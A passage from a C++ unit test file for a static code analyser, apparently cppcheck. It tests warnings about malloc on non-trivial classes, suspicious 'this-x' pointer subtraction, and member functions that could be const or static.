C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n 